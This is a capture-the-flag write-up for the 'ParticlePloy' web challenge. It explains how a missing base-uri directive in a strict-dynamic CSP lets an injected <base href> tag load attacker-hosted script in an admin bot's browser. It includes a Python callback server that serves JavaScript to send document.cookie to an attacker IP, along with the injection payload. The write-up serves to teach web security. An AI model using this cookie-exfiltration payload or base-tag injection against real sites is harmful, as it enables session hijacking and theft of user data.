ParticlePloy ⭐⭐
Description
A platform where you can create some nice particle visualizations. Check it out but keep aware to make them visually appealing.
A website and ParticlePloy/ were given.
Challenge
Reconnaisance
We have a particle creation webpage, lots of specific fields allow us to edit the particles.
More interestingly, name
and color
both are "string" type fields. This might come in handy.
Let's try to give it a random name and generate our particles. This gives a new webpage where we can see our particles in the background, this suggests that there is some javascript being executed in the background somewhere.
We are given the source code of the app for this challenge.
Code analysis
Let's take a look around. app/app.py
is pretty interesting, we learn that there are very strict rules for our two "string" fields we are mostly intersted in:
class ParticleConfigForm(Form):
name = StringField("A cool name for your particles!")
# ...
color = StringField(
"Color (hexadecimal representation)",
validators=[validators.Regexp(regex="^#([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$")],
default="#000000",
)
# ...
Appart from these strict rules, we also have a pretty heavy sanitization, using html-sanitizer
.
And we also learn that a custom_particle_config.js
file is generated for each particle:
@blueprint.route("/particles/<uuid>/custom_particle_config.js", methods=["GET"])
def custom_particle_js(uuid):
pc = db.get_particle_config(uuid)
particles_config = pc["config"]
return Response(
response=render_template("particles.js", particles_config=particles_config),
status=200,
mimetype="application/javascript",
)
Let's take a look at the template at app/templates/particles.js
:
window.onload = function() {
config = {{ particles_config }}
config['selector'] = '.background';
Particles.init(config);
};
Then this template gets injected and ran in app/tempaltes/view.html
:
<script nonce="{{ csp_nonce() }}">
let script = document.createElement('script');
script.src = document.getElementById('custom_particles').innerText;
document.body.appendChild(script);
</script>
But it appears to be "nonce-protected". Let's take a look at the CSP configurations and at sanitization.
Protection
In app/app.py
we find the following:
def create_app() -> Flask:
app = Flask(__name__)
Talisman(
app,
force_https=False,
content_security_policy={"script-src": ["'strict-dynamic'"]},
content_security_policy_nonce_in=["script-src"],
)
# ...
This is a pretty strict CSP, but it allows for strict-dynamic
scripts. This means that we can inject scripts as long as they are generated by the app itself. Which seems logical as that is what the app is meant to do. Cool we are starting to see a vector of attack.
Just below the create_app
function we find the rules applied by html-sanitizer
, though they are commented out and don't really apply any sanitization.
Admin
We've explored the app/
folder let's take a look at the admin-simulation/
now. Here we learn three things:
- Both
app/
andadmin-simulation/
share the same database. - There is a
session
cookie that contains the FLAG! - The
admin-simulation/main.py
runs a headless browser that loads once every 2s each particle webpage, executing thecustom_particle_config.js
script in the process.
Okay we have an objective, and our vector of attack is getting clearer.
It appears we have to somehow inject malicious content inside the custom_particle_config.js
script, and have the admin-simulation load it, if we manage to maybe get a simple request back to our server, we can steal the document.cookies
and get the flag.
Exploitation
Setting up our callback server
Let's not go too complicated on this, we just want a simple HTTPServer, that sends a new payload that requests the document.cookies when called:
from http.server import BaseHTTPRequestHandler, HTTPServer
class Server(BaseHTTPRequestHandler):
def do_GET(self):
print("COOKIES:\n", self.headers['Cookie'])
print("headers:\n", self.headers)
print("URL:\n", self.path)
js_code = '''
var cookies = document.cookie;
fetch(`https://<IP>?flag=${encodeURIComponent(document.cookie)}`, {
method: 'GET',
})
'''
self.send_response(200)
self.send_header('Content-type', 'application/javascript')
self.end_headers()
self.wfile.write(js_code.encode('utf-8'))
def run(server_class=HTTPServer, handler_class=Server, port=8000):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
if __name__ == '__main__':
run()
Crafting our payload
After looking at csp-evaluator we can quickly see that the CSP configuration is missing a critical element, base-uri
. This means that we can inject a <base>
tag as the name
of our particle and have it point to our malicious server.
So first step, start the malicious server.
Second generate a new particle with the following name:
<base href="http://<IP>:8000/"/>
And finally, we get the flag as an URIEncoded element, let's just run it through CyberChef's "parse URI" tool and we get the flag.